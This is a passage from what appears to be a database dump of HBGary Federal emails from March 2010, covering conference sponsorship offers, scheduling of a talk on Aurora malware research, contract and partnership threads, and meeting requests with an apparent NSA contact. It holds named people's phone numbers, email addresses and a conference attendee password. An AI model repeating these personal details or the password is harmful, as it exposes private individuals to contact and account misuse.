5th Floor\r\n\r\nNew\r\nYork, NY 10005\r\n\r\nMobile:\r\n203.512.4162\r\n\r\nOffice:\r\n212.920.8181 x 521\r\n\r\naolson@gdsnewyork.com\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',250,'aaron_hbgary_com/250.html'),(4807,'2010-03-30','\"Alex Olson\" <aolson@gdsnewyork.com>','/aaron@hbgary.com/new/1297003099.M985116P3547Q4807.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Alex Olson_Government CIO (as per our converstion)','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo worries Aaron.&nbsp; The number I rang you on is my direct office\r\nline.&nbsp; My cell is 203-512-4162.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nAlex\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 30, 2010 9:02 AM\r\nTo: Alex Olson\r\nSubject: Re: Alex Olson_Government CIO (as per our converstion)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSorry just saw I missed your call.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 29, 2010, at 2:05 PM, Alex Olson &lt;aolson@gdsnewyork.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nBelow are HBGary Federal&#8217;s\r\npackages at reduced costing.&nbsp; Speak with you at 4:30 pm est\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSummit\r\nWebsite:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nwww.governmentciosummit2010.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attendees\r\npassword:&nbsp;&nbsp;&nbsp;&nbsp; 567ciog \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBelow is HBGary Federal\r\nproposals as discussed:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSilver Sponsorship \r\n\r\n&nbsp;\r\n\r\n2\r\nexecutives to attend for the full duration of the summit 16 predetermined,\r\n40-minute business meetings\r\n\r\nBranding\r\nthroughout all meetings, lunch, roundtable and workshops\r\n\r\nSingle\r\npage advertisement in Summit Guide\r\n\r\nFull\r\nnetworking access to the entire Delegation for duration of the Summit\r\n\r\nInvitation\r\nto gala dinners and keynote speeches\r\n\r\nOption\r\nto host whitepaper on Summit website\r\n\r\nAccess\r\nto all interactive workshops, roundtable discussions\r\n\r\nExecutive\r\naccommodation, drinks and dining\r\n\r\nCorporate\r\nsignage through-out the summit\r\n\r\nPre\r\nand post event marketing\r\n\r\nCompany\r\nlogo to feature online as silver sponsor\r\n\r\nCompany\r\nand Delegate Profile to feature in Summit Guide\r\n\r\nPost\r\nevent follow up with delegates\r\n\r\n&nbsp;\r\n\r\nInvoiced 50% 30 days after\r\nconfirming participation, 50% 45 days before the summit \r\n\r\n&nbsp;\r\n\r\nTOTAL REDUCED COST\r\n(APPROVED DISCOUNT BEN RIGGLE GM, NA)&nbsp; $30,000 USD\r\n\r\n&nbsp;\r\n\r\nTarget Sponsorship \r\n\r\n&nbsp;\r\n\r\nUp to one executive to attend for the full duration of the\r\nsummit\r\n\r\n8 predetermined, 40-minute business meetings\r\n\r\nFull networking access to the entire Delegation for duration of\r\nthe Summit\r\n\r\nInvitation to gala dinners and keynote speeches\r\n\r\nOption to host whitepaper on Summit website\r\n\r\nAccess to all interactive workshops, roundtable discussions\r\n\r\nExecutive accommodation, drinks and dining\r\n\r\nCorporate signage through-out the summit\r\n\r\nPre and post event marketing\r\n\r\nCompany logo to feature online as sponsor\r\n\r\nCompany and Delegate Profile to feature in Summit Guide\r\n\r\nPost event follow up with delegates\r\n\r\n&nbsp;\r\n\r\nInvoiced 50% 30 days after\r\nconfirming participation, 50% 45 days before the summit \r\n\r\n&nbsp;\r\n\r\nTOTAL REDUCED COST\r\n(APPROVED DISCOUNT BEN RIGGLE GM, NA)&nbsp; $25,000 USD\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI look forward to speaking with\r\nyou at 4:30 EST, hopefully welcoming you HBGary Federal onboard.\r\n\r\n&nbsp;\r\n\r\nKind regards,\r\n\r\n&nbsp;\r\n\r\nAlex Olson\r\n\r\nDirector CIO GOV.\r\n\r\n&nbsp;&nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n\r\nCIO Government US\r\n\r\n40\r\nWall Street, 5th Floor\r\n\r\nNew York, NY 10005\r\n\r\nMobile: 203.512.4162\r\n\r\nOffice: 212.920.8181\r\nx 521\r\n\r\naolson@gdsnewyork.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12265,'aaron_hbgary_com/12265.html'),(4808,'2010-03-30','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297003100.M174954P3547Q4808.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Aurora Talk at SAIC','Aaron,\r\n\r\nAwesome! I\'ll lock it in.\r\n\r\nPlease send me an abstract and short bio so I can get the invitations\r\nout.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 29, 2010 7:41 PM\r\nTo: Sheldon, Scott W.\r\nCc: bob@hbgary.com; Estell, Timothy W.\r\nSubject: Re: Aurora Talk at SAIC\r\n\r\nYep works for me.\r\n\r\n From my iPhone\r\n\r\nOn Mar 29, 2010, at 5:53 PM, \"Sheldon, Scott W.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> 27 April at 1600 works great.\r\n>\r\n> If you agree, I\'ll need a short bio and a short presentation\r\n> abstract to\r\n> post with the invitation for attendees.\r\n>\r\n> Scott\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, March 29, 2010 5:44 PM\r\n> To: Sheldon, Scott W.\r\n> Cc: bob@hbgary.com; Estell, Timothy W.\r\n> Subject: Re: Aurora Talk at SAIC\r\n>\r\n> How about the 27th does that work?\r\n>\r\n> Aaron\r\n>\r\n> On Mar 26, 2010, at 5:03 PM, Sheldon, Scott W. wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> I just spoke with our Conference Center coordinator and meeting space\r\n> is\r\n>> an issue at 1600 on 20 Apr.\r\n>>\r\n>> We can easily do 1600 on 27 Apr if that works for you.\r\n>>\r\n>> We can also handle 1630 on 20 Apr if 27 Apr doesn\'t work. They need\r\n> the\r\n>> extra 30 minutes to reconfigure the room from a previously scheduled\r\n>> meeting.\r\n>>\r\n>> Along with your bio, I\'ll also need a paragraph or two abstract of\r\n> your\r\n>> presentation to post as part of the announcement.\r\n>>\r\n>> Scott\r\n>>\r\n>> -----Original Message-----\r\n>> From: Estell, Timothy W.\r\n>> Sent: Friday, March 26, 2010 4:56 PM\r\n>> To: aaron@hbgary.com\r\n>> Cc: bob@hbgary.com; Sheldon, Scott W.\r\n>> Subject: Aurora Talk at SAIC\r\n>>\r\n>> Aaron,\r\n>>\r\n>> Looks like Dino or EndGames got cold feet. They say they have too\r\n>> much\r\n>> going on to commit Dino to this event.\r\n>>\r\n>> So the stage is yours and you can keep us captivated with the HBGary\r\n>> research into Aurora.\r\n>>\r\n>> We\'ll plan on Tuesday, April 20th at 4 PM.\r\n>>\r\n>> Can you provide a one paragraph bio to include in the meeting\r\n>> announcement?\r\n>>\r\n>> Thanks.\r\n>>\r\n>> Tim.\r\n>>\r\n>> Tim Estell -- estellt@saic.com\r\n>> 443-367-7558 (Office) 443-562-2039 (Cell)\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',2574,'aaron_hbgary_com/2574.html'),(4809,'2010-03-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003100.M386322P3547Q4809.eml','\"Alex Olson\" <aolson@gdsnewyork.com>','Re: Alex Olson_Government CIO (as per our converstion)','Hey Alex,I finally spoke with Penny.  I think some wires got crossed somewhere.  She was supportive of whatever decision we made, but not financially support, not in their budget to fund two.  Additionally, we are tied but separate companies, so them funding it surprised me.\r\nRegardless, I would like to hear from you next year.Thank you,AaronFrom my iPhoneOn Mar 30, 2010, at 9:10 AM, Alex Olson &lt;aolson@gdsnewyork.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nNo worries Aaron.  The number I rang you on is my direct office\r\nline.  My cell is 203-512-4162.\r\n\r\n \r\n\r\nBest,\r\n\r\n \r\n\r\nAlex\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 30, 2010 9:02 AM\r\nTo: Alex Olson\r\nSubject: Re: Alex Olson_Government CIO (as per our converstion)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSorry just saw I missed your call.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 29, 2010, at 2:05 PM, Alex Olson &lt;aolson@gdsnewyork.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nBelow are HBGary Federal’s\r\npackages at reduced costing.  Speak with you at 4:30 pm est\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSummit\r\nWebsite:                  \r\nwww.governmentciosummit2010.com                              attendees\r\npassword:     567ciog \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBelow is HBGary Federal\r\nproposals as discussed:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSilver Sponsorship \r\n\r\n \r\n\r\n2\r\nexecutives to attend for the full duration of the summit 16 predetermined,\r\n40-minute business meetings\r\n\r\nBranding\r\nthroughout all meetings, lunch, roundtable and workshops\r\n\r\nSingle\r\npage advertisement in Summit Guide\r\n\r\nFull\r\nnetworking access to the entire Delegation for duration of the Summit\r\n\r\nInvitation\r\nto gala dinners and keynote speeches\r\n\r\nOption\r\nto host whitepaper on Summit website\r\n\r\nAccess\r\nto all interactive workshops, roundtable discussions\r\n\r\nExecutive\r\naccommodation, drinks and dining\r\n\r\nCorporate\r\nsignage through-out the summit\r\n\r\nPre\r\nand post event marketing\r\n\r\nCompany\r\nlogo to feature online as silver sponsor\r\n\r\nCompany\r\nand Delegate Profile to feature in Summit Guide\r\n\r\nPost\r\nevent follow up with delegates\r\n\r\n \r\n\r\nInvoiced 50% 30 days after\r\nconfirming participation, 50% 45 days before the summit \r\n\r\n \r\n\r\nTOTAL REDUCED COST\r\n(APPROVED DISCOUNT BEN RIGGLE GM, NA)  $30,000 USD\r\n\r\n \r\n\r\nTarget Sponsorship \r\n\r\n \r\n\r\nUp to one executive to attend for the full duration of the\r\nsummit\r\n\r\n8 predetermined, 40-minute business meetings\r\n\r\nFull networking access to the entire Delegation for duration of\r\nthe Summit\r\n\r\nInvitation to gala dinners and keynote speeches\r\n\r\nOption to host whitepaper on Summit website\r\n\r\nAccess to all interactive workshops, roundtable discussions\r\n\r\nExecutive accommodation, drinks and dining\r\n\r\nCorporate signage through-out the summit\r\n\r\nPre and post event marketing\r\n\r\nCompany logo to feature online as sponsor\r\n\r\nCompany and Delegate Profile to feature in Summit Guide\r\n\r\nPost event follow up with delegates\r\n\r\n \r\n\r\nInvoiced 50% 30 days after\r\nconfirming participation, 50% 45 days before the summit \r\n\r\n \r\n\r\nTOTAL REDUCED COST\r\n(APPROVED DISCOUNT BEN RIGGLE GM, NA)  $25,000 USD\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI look forward to speaking with\r\nyou at 4:30 EST, hopefully welcoming you HBGary Federal onboard.\r\n\r\n \r\n\r\nKind regards,\r\n\r\n \r\n\r\nAlex Olson\r\n\r\nDirector CIO GOV.\r\n\r\n    \r\n                     \r\n                     \r\n                 \r\n\r\nCIO Government US\r\n\r\n40\r\nWall Street, 5th Floor\r\n\r\nNew York, NY 10005\r\n\r\nMobile: 203.512.4162\r\n\r\nOffice: 212.920.8181\r\nx 521\r\n\r\naolson@gdsnewyork.com\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2608,'aaron_hbgary_com/2608.html'),(4810,'2010-03-30','\"LinkedIn Discussions\" <discussions-noreply@linkedin.com>','/aaron@hbgary.com/new/1297003100.M572181P3547Q4810.eml','\"Aaron Barr\" <aaron@hbgary.com>','There was a new comment posted on your network update','\r\n\r\n  \r\n  \r\n    \r\n      LinkedIn Network Update\r\n    \r\n    \r\n      \r\n            Aaron Barr,\r\n            Joshua Fugate has just left a comment on your network update:\r\n            \"Hey, we actually agree on something! We ought to build on this somehow.\"\r\n            \r\n\r\n\r\n\r\n\r\n      Aaron Barr\r\nBreak up the NSA, creating the CSA?  We already have it its called DHS and it doesnt work.  NSA works b/c it\'s together http://bit.ly/95rRpC      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n            See all comments\r\n      \r\n    \r\n    \r\n      \r\n        Don\'t want to receive email notifications?  Adjust your message settings. LinkedIn values your privacy. At no time has Linkedin made your email address available to any other LinkedIn user without your permission.\r\n&#169; 2010, LinkedIn Corporation      \r\n    \r\n  \r\n  \r\n\r\n',11277,'aaron_hbgary_com/11277.html'),(4811,'2010-03-30','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297003100.M758181P3547Q4811.eml','aaron@hbgary.com','USSTRATCOM Cyberspace Symposium Speaker Update','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		  \r\n	\r\n		\r\n          USSTRATCOM Cyberspace Symposium\r\n          &quot;Ensuring Commanders\' Freedom of Action in Cyberspace&quot;\r\n          Qwest Center Omaha, Nebraska\r\n          May 26-27, 2010\r\n          www.afcea.org/events/stratcom \r\n            No federal endorsement of Armed Forces Communications Electronics Association International (AFCEA Intl) or any of its members or affiliates is intended or implied. \r\n          This event will provide an exciting venue for information exchange among leaders in Cyberspace. Fostering innovation and collaboration between the private sector and government to delve into tough cyber issues will be paramount for this symposium. Sessions will include perspectives of senior Department of Defense, U.S. government, industry, academia, and international participants. \r\n          Click here to register online.\r\n&nbsp;\r\nFeatured Speakers: \r\n  \r\n\r\n  The Honorable Dave Heineman, Governor of Nebraska\r\n  The Honorable William J. Lynn, III, \r\n        Deputy Secretary of Defense\r\n  Gen Kevin P. Chilton, USAF,  Commander, \r\n    U.S. Strategic Command\r\n  The Honorable Greg Schaffer, Assistant Secretary, Office of Cybersecurity and Communications, \r\n    National Protection and Programs Directorate, \r\n    U.S. Department of Homeland Security\r\n  The Honorable Howard Schmidt, White House Cybersecurity Coordinator\r\n\r\n&nbsp;\r\nPanel Sessions  - Confirmed Moderators and Panelists: \r\n           NEW THIS YEAR! \r\nEmail your questions for moderators/panelists in advance. Click here to submit questions. \r\n          Supporting Global and Regional Joint Commanders with Cyberspace Capabilities           \r\n          \r\n            Moderator: VADM Carl V. Mauney, USN, Deputy Commander, U.S. Strategic Command\r\n            LTG John D. Gardner, USA, Deputy Commander, U.S. European Command\r\n            LTG Keith M. Huber, USA, Deputy Commander, U.S. Joint Forces Command\r\n            LTG P.K. Keen, USA, Deputy Commander, U.S. Southern Command\r\n            \r\n              MG David Lacquement, USA, Director of Operations, J-3, \r\n  Consolidated Joint Functional Component Command-Network Warfare and Joint Task Force-Global Network Operations (JTF-GNO) \r\n              \r\n                    \r\n          International Perspective           \r\n          \r\n            Moderator: Mr. Robert Butler, \r\n    Deputy Assistant Secretary of Defense for Cyber and Space Policy, \r\n    Office of the Under Secretary of Defense (Policy) \r\n                    Value/Hazards of Internet-based Networking and Capabilities \r\n          \r\n            Moderator:            Mr. Noah Shachtman, \r\n      Journalist and Editor,  Wired Magazine\'s National Security Blog, \"Danger Room\" \r\n            Ms. Cita Furlani, Director, Information Technology Laboratory, National Institute of Standards and Technology\r\n            Mr. Nathan Hamiel, Senior Consultant, Idea Information Security, Founder of Hexagon Security Group\r\n            \r\n              Ms. Susan Swart, Chief Information Officer, U.S. Department of State \r\n              \r\n                    \r\n          Developing Tomorrow\'s Cyber Operator \r\n          \r\n            Moderator: Dr. Mike McGinnis,  BG, USA (Ret.), Executive Director, Peter Kiewit Institute \r\n            MajGen George Allen, USMC, Director, Command, Control, Communications and Computers, U.S. Marine Corps \r\n            MG Steven Smith, USA, Director, U.S. Army Cyberspace Task Force\r\n            Maj Gen Richard Webber, USAF, Commander, 24th Air Force \r\n                    \r\n          Industry \"State of the Union\" on Cyberspace \r\n          \r\n            Moderator: Lt Gen Harry D. Raduege, Jr., USAF (Ret.), Chairman, Center for Network Innovation, Deloitte &amp; Touche LLP, former Director, Defense Information Systems Agency \r\n             Mr. David Aucsmith, Security Architect and Chief Technology Officer, Microsoft Corp. \r\n            Dr. Steven P. Bucci, Associate Partner, Cyber Security Lead, Global Leadership Initiative, IBM Public Sector, Global Business Services \r\n            Mr. Don Proctor, Senior Vice President, Software Group, Cisco Systems\r\n            Mr. Marcus Sachs, Executive Director for National Security &amp; Cyber Policy, Verizon Communications \r\n                      \r\n                        Emerging Cyber Security Technologies \r\n          \r\n            Moderator: Dr. Robert F. Brammer,  Vice President for Advanced Technology, Northrop Grumman Information Systems \r\n            Dr. David Brumley, Professor, Carnegie Mellon University \r\n            Dr. Eugene Spafford, Professor, Purdue University \r\n            Dr. Michael VanPutte, Program Manager in the Strategic Technology Office, Defense Advanced Research Projects Agency \r\n                    &nbsp;\r\n          Exhibition\r\n          Defense contractors and government agencies will showcase the latest products and solutions for cybersecurity.\r\n          &nbsp;            \r\n                        For more information on the conference and to register - please visit http://www.afcea.org/events/stratcom. \r\n    \r\n          \r\n              \r\n    \r\n              Exhibit Information - please contact J. Spargo & Associates at exhibits@jspargo.com\r\n              \r\n    \r\n            Patron/Sponsor Information - please contact Maureen Cirrito at mcirrito@afcea.org\r\nMedia Registration - click here. \r\n              \r\n        \r\n              We look forward to seeing you in Omaha!\r\n              \r\n        \r\n\r\n            \r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	  \r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',15125,'aaron_hbgary_com/15125.html'),(4812,'2010-03-30','\"Rushing, Michael A. (Xetron)\" <Michael.Rushing@ngc.com>','/aaron@hbgary.com/new/1297003100.M966758P3547Q4812.eml','aaron@hbgary.com','Amendment 1 to PIEA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nMy apologies for this falling completely off my radar\r\nscreen.&nbsp; Attached is a proposed amendment to the current PIEA which I\r\nbelieve will address your concerns relative to the provision of your source\r\ncode to us for evaluation.&nbsp; Hopefully, you will find the enclosed language\r\nin line with our previous discussion.&nbsp; If you have no objection, please\r\nsign and return &#8211; I will then execute and return a completed copy for\r\nyour records.&nbsp; Let me know if you have questions.\r\n\r\n&nbsp;\r\n\r\nMike Rushing\r\n\r\nContracts Manager\r\n\r\nNorthrop Grumman - Xetron\r\n\r\nTelephone: (513) 881-3263\r\n\r\nMobile: (513) 473-9498\r\n\r\nFax:&nbsp; (513) 881-3882\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9446,'aaron_hbgary_com/9446.html'),(4813,'2010-03-31','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297003101.M178813P3547Q4813.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\nAarron,\r\n&nbsp;\r\nHope the proposal went well and you got a good night\'s rest afterwards :)\r\n&nbsp;\r\nWhen is a good time to catch up?David\r\n\r\n\r\nFrom: Aaron BarrSent: Thu 3/18/2010 1:36 AMTo: Etue, DavidSubject: Re: Fidelis XPS / HB Gary Integration Opportunities \r\nThats right you mentioned that. &nbsp;Wow thats a milestone. &nbsp;Once this DARPA proposal is over (extended until 29March) we will have to catch up. \r\n\r\nAaron\r\n\r\n\r\nOn Mar 18, 2010, at 1:34 AM, Etue, David wrote:\r\n\r\n\r\n\r\nYep&nbsp;J&nbsp; Actually got a few days of vacation in&#8212;went to AZ for my grandmothers 90th&nbsp;bday from Sat to Wed.&nbsp; Flight was late, so just got home from the airport!&nbsp; Off to bed once I catch up on mail&#8230;\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 1:31 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Re: Fidelis XPS / HB Gary Integration Opportunities\r\n\r\nMorning Dave. &nbsp;late night for you as well.\r\n\r\n\r\n\r\nThanks.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 1:30 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\nUpdated version with some minor typos and your product name (Active Defense) corrected.&nbsp;\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Etue, David&nbsp;Sent:&nbsp;Saturday, March 13, 2010 4:42 PMTo:&nbsp;\'greg@hbgary.com\'; \'Aaron Barr\'; \'Penny Leavy-Hoglund\'Subject:&nbsp;Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\nAaron, Greg, and Penny,\r\n\r\nBased on our conversations, I put together the following document on areas I see opportunities for product integration to help customers detect and prevent malware-based attacks.&nbsp; Your thoughts and feedback are greatly appreciated.\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFidelis Security Systems\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid Etue, CIPP/GVP, Products and Markets\r\n\r\n4416 East West Highway, Suite 310Bethesda, MD 20814\r\n\r\n\r\n\r\ndavid.etue@fidelissecurity.comhttp://www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\ntel:&nbsp;fax:&nbsp;mobile:\r\n\r\n(240) 396-2445&nbsp;&lt;image001.gif&gt;(301) 652-7097(202) 669-3628&nbsp;&lt;image001.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlways have my latest info\r\n\r\nWant a signature like this?\r\n\r\n\r\n\r\n\r\n&lt;Fidelis XPS and HB Gary Integration v1_1.docx&gt;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1779,'aaron_hbgary_com/1779.html'),(4814,'2010-03-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003104.M802474P3547Q4814.eml','\"Zosh\" <mydocs@zosh.com>','sf86','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12272,'aaron_hbgary_com/12272.html'),(4815,'2010-03-31','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','/aaron@hbgary.com/new/1297003105.M292460P3547Q4816.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome and Attribution','Aaron,\r\n\r\nThank you for your time this morning.\r\n\r\nPer our discussion, I would like to try to meet with you on the 19th of\r\nApril.\r\n\r\nDo you have a badge or do I need to put in a visitor request for you?\r\n\r\nMatt\r\n410 854 6761 \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 26, 2010 1:04 PM\r\nTo: Bodman, Jerry M\r\nSubject: Re: Malware Genome and Attribution\r\n\r\nHi Matt,\r\n\r\nStill want to get together next week?\r\n\r\nAaron\r\n\r\nOn Mar 19, 2010, at 1:14 PM, Bodman, Jerry M wrote:\r\n\r\n> Yes please.\r\n> \r\n> How about the last week in March?\r\n> \r\n> Matt\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, March 16, 2010 10:56 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Hi Matt,\r\n> \r\n> Would you still like us to come up and discuss DDNA and some of our \r\n> other capabilities?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n> \r\n>> Next week is pretty booked at this point.\r\n>> \r\n>> How about the first week of march (other than 1 March)?\r\n>> \r\n>> Afternoons are good at this point.\r\n>> \r\n>> Matt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, February 18, 2010 9:11 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>> \r\n>> How about next Thursday?\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\n> wrote:\r\n>> \r\n>>> What dates/times are good for you?\r\n>>> \r\n>>> Matt\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>>> To: Bodman, Jerry M\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>> \r\n>>> Yes we can come up.  When are some good dates?\r\n>>> Aaron\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>>> wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> \r\n>>>> I am interested.\r\n>>>> \r\n>>>> What is the best way to meet?\r\n>>>> \r\n>>>> Can you come here?\r\n>>>> \r\n>>>> Is this related to Responder Pro?\r\n>>>> \r\n>>>> Matt\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>> \r\n>>>> Dave/Barry/Matt,\r\n>>>> \r\n>>>> I am very interested to discuss our different efforts/capabilities \r\n>>>> related to malware genomes/catalogs.  Please let me know when \r\n>>>> convenient to get together.\r\n>>>> \r\n>>>> Thank you,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>>> \r\n>>>>> Ralph,\r\n>>>>> \r\n>>>>> Thanks for reminding me about this one.\r\n>>>>> \r\n>>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>>> \r\n>>>>> Vergle\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Ghent, Ralph\r\n>>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>>>> Parkes;\r\n>>>> \r\n>>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Vergle,\r\n>>>>> Reminder of the thread below, and your awareness of the efforts of\r\n>>>> Aaron\r\n>>>>> Barr; which may be supportive of your Malware 